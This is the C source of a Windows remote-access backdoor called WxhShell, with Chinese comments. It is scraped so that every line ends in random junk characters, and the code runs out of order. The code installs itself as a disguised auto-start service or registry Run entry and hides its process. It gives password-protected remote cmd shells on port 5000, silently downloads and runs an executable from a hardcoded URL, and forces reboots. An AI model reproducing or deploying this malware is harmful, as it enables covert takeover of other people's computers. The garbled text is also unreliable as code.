    if(Boot(SHUTDOWN)) ARvT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sLrSi  
    else { 4+2XPaI m  
    closesocket(wsh); o8Vtxnkg  
    ExitThread(0); ?0 93'lA  
    } y=7WnQc  
    break; = }0M^F  
    } |W4 \  
  // 获取shell E^B*:w3  
  case 's': { Ww-%s9N<  
    CmdShell(wsh); q/w<>u  
    closesocket(wsh); V; 0{o  
    ExitThread(0); =2!AK[KxX  
    break; |<tZ|  
  } Rj6:.KEJ  
  // 退出 jR-DH]@y  
  case 'x': { DY1?37h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <{ !^  
    CloseIt(wsh); WvSh i=  
    break; 1&N|k;#QS  
    } 2c:H0O 0o  
  // 离开 NJK?5{H'  
  case 'q': { mw0#Dhyy1=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Gt1T[:QUX  
    closesocket(wsh); f[v~U<\R  
    WSACleanup(); `~|8eKFq!  
    exit(1); %SORs(4  
    break; FD>j\  
        } zWvG];fsN  
  } CY2DxP%  
  } kB_uU !G  
GBOz,_pw  
  // 提示信息 .s$#: ls?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 09?n5x!6  
} r"#h6lYK&  
  } ~@ a7RiE@  
h $)t hW  
  return; V lb L p;  
} . 2_t/2  
N}{CL(xi  
// shell模块句柄 N,v4SIC@  
int CmdShell(SOCKET sock) ONQp-$  
{ J]uYXsC  
STARTUPINFO si; +o&E)S}wP  
ZeroMemory(&si,sizeof(si)); PRm Z 3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]:TX> X!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +js3o@Ku{\  
PROCESS_INFORMATION ProcessInfo; i(.c<e{v~  
char cmdline[]="cmd"; .&2pZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EN@LB2  
  return 0; N{n}]Js1D-  
} TSu^.K  
H8 yc<  
// 自身启动模式 v8g3]MVj3  
int StartFromService(void) .XM3oIaW  
{ rXo2MX@u  
typedef struct =y>P>&sI  
{ @~6A9Fr  
  DWORD ExitStatus; 9/C0DDb  
  DWORD PebBaseAddress; d%9I*Qo0,  
  DWORD AffinityMask; #l~ d  
  DWORD BasePriority; fT._Os?i  
  ULONG UniqueProcessId; M4M 4*o  
  ULONG InheritedFromUniqueProcessId; `ZN@L<I6  
}   PROCESS_BASIC_INFORMATION; l>"gO9j  
jLvI!q   
PROCNTQSIP NtQueryInformationProcess; /0SG  
4q@o4C<0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pb} &c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'DsfKR^ s  
u!g=>zEu  
  HANDLE             hProcess; &m8B%9w  
  PROCESS_BASIC_INFORMATION pbi; psRm*,*O  
< Q\`2{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X_s;j5ur  
  if(NULL == hInst ) return 0; ] >ipC,v  
l=9 &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4)2*|w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PyYKeo=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1sc #!^Oo  
MBcOIy[&A  
  if (!NtQueryInformationProcess) return 0; b{s E#m%r  
C==tJog[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a0)+=*$  
  if(!hProcess) return 0; Xki/5roCQ|  
n4."}DO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2SG|]=  
08k1 w,6W  
  CloseHandle(hProcess); ' 1P_*  
V<4)'UI?k9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (-dJ0!  
if(hProcess==NULL) return 0; Qg 6m  
D4#,9?us  
HMODULE hMod; /Z2*>7HM8[  
char procName[255]; [&3"kb  
unsigned long cbNeeded; Cc Ni8Wg_  
^"buF\3L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /4~RlXf@  
Tg:NeAN7(  
  CloseHandle(hProcess); 2~J|x+  
&u=FLp5  
if(strstr(procName,"services")) return 1; // 以服务启动 %< j=&  
*"zE,Bp"  
  return 0; // 注册表启动 8#Z$}?W  
} ;4qalxzu  
tQ&#FFt,)  
// 主模块 :He:Bdk  
int StartWxhshell(LPSTR lpCmdLine) r1?LKoJOn  
{ n.1a1Tf  
  SOCKET wsl; wkm SIN:  
BOOL val=TRUE; Y(A?ib~K  
  int port=0; q0c)pxD%`  
  struct sockaddr_in door; T >-F~?7Sv  
pwZ &2&|  
  if(wscfg.ws_autoins) Install(); \pPq ]k  
@ics  
port=atoi(lpCmdLine); "t\9@nzdX  
m",bfZ  
if(port<=0) port=wscfg.ws_port; ,~4(td+R7  
3 t_5Xacj  
  WSADATA data; ]B7t9l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d,0pNav)  
3=K-+dhk|t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s~63JDy"E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ovfw_  
  door.sin_family = AF_INET; 4@W.{|2~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ome>Jbdhe  
  door.sin_port = htons(port); B"B  
x NC>m&T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d[Fsp7U}  
closesocket(wsl); #UI`G3w<  
return 1; { U<h tl4  
} {Y/  
Fwqv 1+  
  if(listen(wsl,2) == INVALID_SOCKET) { Ebk@x=E  
closesocket(wsl); 4C[gW  
return 1; [a Z)*L ;  
} 7yj2we  
  Wxhshell(wsl); #nxx\,i>  
  WSACleanup(); w##Fpv<m  
'qD9k J`  
return 0; \G"/Myi  
z>&D~0  
} |% kK?!e+-  
oy'+n-  
// 以NT服务方式启动 D|BN_ai9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0qZ)$ YKq  
{ >@|<1Fx|  
DWORD   status = 0; ;K_B,@:'  
  DWORD   specificError = 0xfffffff; 2#[Y/p  
oe<Y,%u"6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @rF\6I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WT)")0)[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /6fPC;l  
  serviceStatus.dwWin32ExitCode     = 0; !K2[S J  
  serviceStatus.dwServiceSpecificExitCode = 0; h ^c'L=dR  
  serviceStatus.dwCheckPoint       = 0; SM<kE<q#  
  serviceStatus.dwWaitHint       = 0; 2n=;"33%a  
z~_\onC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !< )_ F  
  if (hServiceStatusHandle==0) return; #(H_w4  
|{nI.>  
status = GetLastError(); IO'Q}bU4vs  
  if (status!=NO_ERROR) R;yAqr29  
{ 525 >=h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yp)U'8{h c  
    serviceStatus.dwCheckPoint       = 0; q  ha1b$  
    serviceStatus.dwWaitHint       = 0; ^m=%Ctu#  
    serviceStatus.dwWin32ExitCode     = status; Dfo9jYPf  
    serviceStatus.dwServiceSpecificExitCode = specificError; <j#EyGAV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O /&%`&2  
    return; 85 hYYB0v  
  } H-W) Tq_?-  
8iNAs#s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z,)sS<t(  
  serviceStatus.dwCheckPoint       = 0; 1sjn_fPz  
  serviceStatus.dwWaitHint       = 0; [ lW "M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OKVYpf  
} k ))*z FV  
u^9c`  
// 处理NT服务事件,比如:启动、停止 :ct+.#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DE ws+y-*  
{ Z]f2&  
switch(fdwControl) MDP MOA  
{ `[CJtd2\  
case SERVICE_CONTROL_STOP: q#`^EqtUF  
  serviceStatus.dwWin32ExitCode = 0; *F*X_O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jf$wBPg  
  serviceStatus.dwCheckPoint   = 0; Ji[g@#  
  serviceStatus.dwWaitHint     = 0; A.O~'')X  
  { H\mVK!](D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;l()3;  
  } 8 36m5/kH[  
  return; % eRwH >  
case SERVICE_CONTROL_PAUSE: %Be[DLtE"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b<AE}UK  
  break; C4tl4df9  
case SERVICE_CONTROL_CONTINUE: 2hJ3m+N^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z!reX6  
  break; }!V<"d,!  
case SERVICE_CONTROL_INTERROGATE: I;-5]/,  
  break; sVd_O[  
}; r5!M;hU1j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +c`C9RXk  
} vXyo  
-/c1qLdQ  
// 标准应用程序主函数 2bnIT>(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z(mn U;9{v  
{  /kU@S  
@^cgq3H'  
// 获取操作系统版本 ]wpYxos  
OsIsNt=GetOsVer(); b^DV9mO4J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h<ctW>6v  
:TYzzl43  
  // 从命令行安装 */dh_P<Yj  
  if(strpbrk(lpCmdLine,"iI")) Install(); n UCk0:{  
)^S^s >3  
  // 下载执行文件 5z w23!  
if(wscfg.ws_downexe) { efkie}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ku9F N  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7TPLVa=hO  
} {C0^D*U:  
LY!3u0PnlT  
if(!OsIsNt) { _AHB|P I  
// 如果时win9x,隐藏进程并且设置为注册表启动 T>Rf?%o  
HideProc(); A;j$rGx  
StartWxhshell(lpCmdLine); i -s?"Fk  
} "jJdUFN  
else |DPpp/  
  if(StartFromService()) 4i\aW:_'i  
  // 以服务方式启动 $_7d! S"  
  StartServiceCtrlDispatcher(DispatchTable); 2j/1@Z1j=  
else x*"pDI0k)  
  // 普通方式启动 p9}c6{Wp  
  StartWxhshell(lpCmdLine); *o\Y~U-so  
_ KhEwd  
return 0; &T/q0bwd  
} e9hVX[uq  
)tI2?YIR  
HD8"=7zJk  
'"fU2M<.  
=========================================== q{Ta?|x#  
0CVsDVA  
k#:@fH4{PA  
(zro7gKked  
@1SKgbt>  
IJBJebqL  
" a(43]d&  
pT;-1c%:  
#include <stdio.h> xBE RCO^  
#include <string.h> ZJI1NCBZ  
#include <windows.h> Rw ao5l=x  
#include <winsock2.h> zTBi{KrZ  
#include <winsvc.h> am'p^Z @  
#include <urlmon.h> L[D/#0qp  
;GgQ@s@  
#pragma comment (lib, "Ws2_32.lib") T.w}6? 2  
#pragma comment (lib, "urlmon.lib") kq}eUY]  
,ORG"]_F  
#define MAX_USER   100 // 最大客户端连接数 71<PEawL  
#define BUF_SOCK   200 // sock buffer l;{N/cS  
#define KEY_BUFF   255 // 输入 buffer Eagmafu  
Z>w^j.(  
#define REBOOT     0   // 重启 ?m9UhLeaS=  
#define SHUTDOWN   1   // 关机 C`th^dqBV  
Rqb{)L X*  
#define DEF_PORT   5000 // 监听端口 hA1gkEM2o  
:a f;yu  
#define REG_LEN     16   // 注册表键长度 JPTI6"/  
#define SVC_LEN     80   // NT服务名长度 fCt\2);a  
;/)Mcx]n  
// 从dll定义API  fBWJ%W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S `m- 5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {sfmWVp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X~)V)'R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TA@tRGP>  
(9YYv+GGd*  
// wxhshell配置信息 Gkodk[VuLs  
struct WSCFG { ll<9f)  
  int ws_port;         // 监听端口 A"bSNHCKF  
  char ws_passstr[REG_LEN]; // 口令 \Sq"3_m4T  
  int ws_autoins;       // 安装标记, 1=yes 0=no BudWbZ5>Ep  
  char ws_regname[REG_LEN]; // 注册表键名 XEUa  
  char ws_svcname[REG_LEN]; // 服务名 ` r'0"V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kh>SrW]B%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &8X .!r`f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FUzMc1zy|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7i+!^Qj?y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _/N'I7g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !}L~@[v,uL  
1|l)gfcP  
}; J2oWssw"  
L)R[)$2(g  
// default Wxhshell configuration fOK+DT~  
struct WSCFG wscfg={DEF_PORT, bQ^DX `o6P  
    "xuhuanlingzhe", ;Oi[:Ck  
    1, [B"dH-r7  
    "Wxhshell", _\4`  
    "Wxhshell", j*eUF-J1  
            "WxhShell Service", {w |dM#  
    "Wrsky Windows CmdShell Service", fd5ZaE#f  
    "Please Input Your Password: ", ~|r'2V*  
  1, !y qa?\v9  
  "http://www.wrsky.com/wxhshell.exe", *%OYAsc  
  "Wxhshell.exe" cD'HQ3+  
    }; LL= Z$U $  
>op:0on]}  
// 消息定义模块 F}6DB*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *]}CSZ[>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M1/M}~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eq@am(#&kY  
char *msg_ws_ext="\n\rExit."; ` j&0VIU>>  
char *msg_ws_end="\n\rQuit."; Hhe{ +W@~  
char *msg_ws_boot="\n\rReboot..."; PcHSm/d0e  
char *msg_ws_poff="\n\rShutdown..."; (|0.m8D~D  
char *msg_ws_down="\n\rSave to "; :mXGIRi  
nabBU4;h  
char *msg_ws_err="\n\rErr!"; (~j,mk  
char *msg_ws_ok="\n\rOK!"; y*VQ]aJ  
X(Y#9N"  
char ExeFile[MAX_PATH]; g.B%#bfg  
int nUser = 0; ^CZCZ,v  
HANDLE handles[MAX_USER]; >lD;0EN  
int OsIsNt; DS#c m3  
uipq=Yp.  
SERVICE_STATUS       serviceStatus; mR{CVU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; csH2_+uG  
Zg -]sp]  
// 函数声明 [[R7~.;  
int Install(void); :a_BD  
int Uninstall(void); _GVE^yW~z  
int DownloadFile(char *sURL, SOCKET wsh); ;{<aA 5  
int Boot(int flag); yfmp$GO:  
void HideProc(void); s kN9O"^A  
int GetOsVer(void); D(y+1^>  
int Wxhshell(SOCKET wsl); Q~Ay8L+  
void TalkWithClient(void *cs); j$3rJA%rN  
int CmdShell(SOCKET sock); ~I{EE[F>qL  
int StartFromService(void); Z[",$Lt  
int StartWxhshell(LPSTR lpCmdLine); :P3{Nxa  
/b{o3, #.M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8zhBA9Y#~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =43I1&_   
~9Z h,p ;  
// 数据结构和表定义 PJzc=XPU  
SERVICE_TABLE_ENTRY DispatchTable[] = WfTD7?\dw  
{ 9<yAQ?7 L  
{wscfg.ws_svcname, NTServiceMain}, qE )Y}oN  
{NULL, NULL} C:]s;0$3'9  
}; ~12_D'8D[  
!c%  
// 自我安装 G6ayMw]OF  
int Install(void) 9A~>`.y  
{ u*2fP]n  
  char svExeFile[MAX_PATH]; tR kF   
  HKEY key; sf(i E(o  
  strcpy(svExeFile,ExeFile); XAe\s`  
; e@gO  
// 如果是win9x系统,修改注册表设为自启动 iOXZ ]Xj5  
if(!OsIsNt) { yL6^\x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vtr3G.P^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I,b9t\(6  
  RegCloseKey(key); YutQ]zYA.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [)^mBVht  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U@'F%nHw  
  RegCloseKey(key); mzX;s&N#  
  return 0; \R(R9cry  
    } @Br {!#Wf  
  } hoenQ6N^:  
} 3X;{vO\a1  
else { `\bT'~P  
[#Y' dFQ  
// 如果是NT以上系统,安装为系统服务 wJe?t$ac?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rf)ke("  
if (schSCManager!=0) fiVHRSX60  
{ 'cV?i&;  
  SC_HANDLE schService = CreateService  4*TmlY  
  ( =7%o E[  
  schSCManager, UZGDdP  
  wscfg.ws_svcname, >O#grDXb  
  wscfg.ws_svcdisp, w7FoL  
  SERVICE_ALL_ACCESS, T dk ,&8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PY`L$e  
  SERVICE_AUTO_START, [ %}u=}@  
  SERVICE_ERROR_NORMAL, [84F0 9HU  
  svExeFile, %T!J$a)qf  
  NULL, ye%iDdf  
  NULL, "7,FXTaer  
  NULL, MV0Lq:# N  
  NULL, <P_ea/5:|  
  NULL )}MHx`KT2  
  );  rkB'Hf  
  if (schService!=0) fKHE;A*>%  
  { S{#cD1>.  
  CloseServiceHandle(schService); AQss4[\Dx  
  CloseServiceHandle(schSCManager); #aar9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bc I']WgB-  
  strcat(svExeFile,wscfg.ws_svcname); ~6aCfbu%V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L?5f+@0.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ B/9{0n'  
  RegCloseKey(key); +oc >S  
  return 0; jZpa0grA  
    }  En6H%^d2  
  } :7g=b%;  
  CloseServiceHandle(schSCManager); kW@,$_cK  
} uH@FU60  
} pZ(Fx&fy  
O(z}H}Fv  
return 1; I.'b'-^  
} l|/LQ/  
]m4OIst  
// 自我卸载 \4d.sy0&>-  
int Uninstall(void) Dg HaOAdU  
{ Rp9fO?ZjHt  
  HKEY key; FLZWZ;  
+7V{ABfGl  
if(!OsIsNt) { crcA\lJf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o>Er_r  
  RegDeleteValue(key,wscfg.ws_regname); Bux [6O %  
  RegCloseKey(key); ccFn.($p?,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \x{;U#B[3>  
  RegDeleteValue(key,wscfg.ws_regname); SOZPZUUEJ  
  RegCloseKey(key); ^].jH+7i*  
  return 0; (ll*OVL  
  } a:, y Z  
} 8.J( r(;>  
} +|iYg/2  
else { oR1^/e  
wC_l@7 t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WLa!.v>  
if (schSCManager!=0)  +=q)  
{ gi/@ j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >LC<O.  
  if (schService!=0) V r(J+1@  
  { dy__e^qi  
  if(DeleteService(schService)!=0) { ;22l"-F  
  CloseServiceHandle(schService); 0MMEo~dih  
  CloseServiceHandle(schSCManager); ]uj=:@  
  return 0; "gtHTqheH  
  } K;hh&sTB  
  CloseServiceHandle(schService); 9^"b*&>P  
  } :2 >hoAJJ  
  CloseServiceHandle(schSCManager); NcOPL\  
} Migd(uw'  
} <ljI;xE  
do*}syQ`O  
return 1; 2kAx>R  
} PWRy7d  
n+@F`]K e  
// 从指定url下载文件 j*"3t^|-  
int DownloadFile(char *sURL, SOCKET wsh) {t"+ 3zy'  
{ NjPDX>R\K  
  HRESULT hr; E:zF/$tG  
char seps[]= "/"; W?yd#j  
char *token; \!IMaB]  
char *file; BqDKT  
char myURL[MAX_PATH]; M.-"U+#aD  
char myFILE[MAX_PATH]; |(m oWY=  
dY?`f<*  
strcpy(myURL,sURL); {oc igR 0  
  token=strtok(myURL,seps); j'[m:/  
  while(token!=NULL) b|Q)[y]  
  { $aHAv/&(5  
    file=token; 8}H1_y-g[  
  token=strtok(NULL,seps); J"=1/,AS  
  } Om{l>24i.\  
x!\ONF5$  
GetCurrentDirectory(MAX_PATH,myFILE); ReiB $y6  
strcat(myFILE, "\\"); P%)gO  
strcat(myFILE, file); U\/5;Txy(  
  send(wsh,myFILE,strlen(myFILE),0); N#lDW~e'  
send(wsh,"...",3,0); @(P=Eh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x^Yl*iq  
  if(hr==S_OK) Z_\C*^  
return 0; KH\b_>wU2  
else $^u}a   
return 1; {t};-q!v$j  
H|cNH=  
} + OV')oE  
+<,gB $j  
// 系统电源模块 3@5=+z~CW  
int Boot(int flag) %uv?we7  
{ l5l>d62  
  HANDLE hToken; U hIDRR  
  TOKEN_PRIVILEGES tkp; qV5DW0.  
s1|/S\   
  if(OsIsNt) { .NtbL./=|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XqM3<~$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %OgS^_tu  
    tkp.PrivilegeCount = 1; Bgmn2-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >0p$(>N]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); + [Hh,I7  
if(flag==REBOOT) { Y(.OF Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L 8{\r$  
  return 0; f|u#2!7  
} > iE!m  
else { 1-.~7yC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j~j\\Y  
  return 0; ? FfC  
} jqr1V_3(  
  } ;[RZ0Uy=  
  else { r>GZ58i  
if(flag==REBOOT) { @ P|LLG'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S*AERm   
  return 0; e8'wG{3A  
} Zo>]rKeV  
else {  +H$!a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9n}p;3{f  
  return 0; dg4vc][  
} $ cj>2.   
} ja=F7Usb  
0a"igq9t  
return 1; Fs[aa#v4B  
} u^029sH6j  
q&:=<+2"  
// win9x进程隐藏模块 y\{%\$  
void HideProc(void) MQin"\  
{ Ecs,$\  
If%/3UJ@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^k<o T'89  
  if ( hKernel != NULL ) h<~7"ONhV  
  { O9:U8$*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Ia($.1mY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iX3HtIBj'  
    FreeLibrary(hKernel); ^] kF{ o?  
  } 3j3N!T9  
!Ra*)b "  
return; QNDHOo>v  
} D-N8<:cA  
h,"4SSL  
// 获取操作系统版本 " LJq%E  
int GetOsVer(void) ,!U=|c"k)  
{ "--t e  
  OSVERSIONINFO winfo; VE8;sGaJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `O'`eY1f  
  GetVersionEx(&winfo); ~Ch+5A;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'fPdpnJ<  
  return 1; I[n ^{8gz  
  else w|Nz_3tI  
  return 0; +>4;Zd!@d  
} jMpD+Mb  
B2ec@]uD`  
// 客户端句柄模块 ]n-:Yv5 W  
int Wxhshell(SOCKET wsl) xC tmXo  
{ zz& ?{vJ  
  SOCKET wsh; RVeEkv[qp  
  struct sockaddr_in client; ;D$)P7k6  
  DWORD myID; 3N_"rNKD  
/q5:p`4{J  
  while(nUser<MAX_USER) wgw(YU  
{ H@l}WihW  
  int nSize=sizeof(client); \m1~jMz*>k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~9j%Hm0ht  
  if(wsh==INVALID_SOCKET) return 1; ciMzf$+G$  
XU"~h64]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q&d~ \{J  
if(handles[nUser]==0) O|w J)  
  closesocket(wsh); -{ZWo:,r~q  
else G\(|N9^:  
  nUser++; ` Jdb;  
  } NQ6sGL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9:M` j  
~*wk6&|  
  return 0; ]KmO$4  
} O?|gp<=d  
nvPwngEQm  
// 关闭 socket N ,z6y5Lu  
void CloseIt(SOCKET wsh) RU\/j%^  
{ 4]E3c AJ  
closesocket(wsh); %Z1N;g0  
nUser--; ye MB0Z*r  
ExitThread(0); hvaSH69*m  
} !@v7Zu43,  
X*\ J_  
// 客户端请求句柄 K1T4cUo  
void TalkWithClient(void *cs) yNTK .  
{ )KAEt.  
@<x*.8  
  SOCKET wsh=(SOCKET)cs; #Q /Arq  
  char pwd[SVC_LEN]; b1( $R[  
  char cmd[KEY_BUFF]; (I./ Uu%  
char chr[1]; c??mL4$'N  
int i,j; %QP0  
U-3i  
  while (nUser < MAX_USER) { )h)]SF}  
&mx)~J^m  
if(wscfg.ws_passstr) { BT"XT5@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?pd8w#O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~W-PD  
  //ZeroMemory(pwd,KEY_BUFF); q0zr E5  
      i=0; # }y2)g  
  while(i<SVC_LEN) { &:`U&06q  
3(,?S$>  
  // 设置超时 w}YlVete  
  fd_set FdRead; LBZ+GB  
  struct timeval TimeOut; 73\JwOn~  
  FD_ZERO(&FdRead); \}|o1Xh2  
  FD_SET(wsh,&FdRead); z.;ez}6%V  
  TimeOut.tv_sec=8; 7](KV"%V  
  TimeOut.tv_usec=0; ys kO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K42K!8$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CTZ8Da^  
SR |`!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W~7A+=&  
  pwd=chr[0]; ~XmLX)vO/  
  if(chr[0]==0xd || chr[0]==0xa) { $arK(  
  pwd=0; rr02pM0  
  break; 2$ze= /l  
  } S;286[oq@  
  i++; y1+*6|  
    } oV|4V:G q  
2OVRf0.R~  
  // 如果是非法用户,关闭 socket I$Op:P6.E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +Z !)^j  
} LQRQA[^  
heC/\@B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U"^kH|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  jYmR  
GkTiDm?  
while(1) { NRIG1v>  
Sp;G'*g  
  ZeroMemory(cmd,KEY_BUFF); ?En O"T.  
Gsq00j &<Z  
      // 自动支持客户端 telnet标准   tne ST.  
  j=0; 1;Cyz)  
  while(j<KEY_BUFF) { 3 09hn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZJzt~ H  
  cmd[j]=chr[0]; qGB{7-ru  
  if(chr[0]==0xa || chr[0]==0xd) { keX,d#  
  cmd[j]=0; L(|N[#  
  break; bU2Z[sn.  
  } {byBc G  
  j++; zck#tht4 n  
    } uXJ;A *  
NflD/q/ L  
  // 下载文件 4gz H8sF  
  if(strstr(cmd,"http://")) { Ez fN&8E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^cP!\E-^  
  if(DownloadFile(cmd,wsh)) [S9K6%w_!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p93r'&Q  
  else qG?Qc (  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /'l{E  
  } lm-dW'7&  
  else { M3c$=>  
jET{Le8i  
    switch(cmd[0]) { p.v0D:@&  
  |,gc_G  
  // 帮助 ]6(N@RC  
  case '?': { *`ua'"="k  
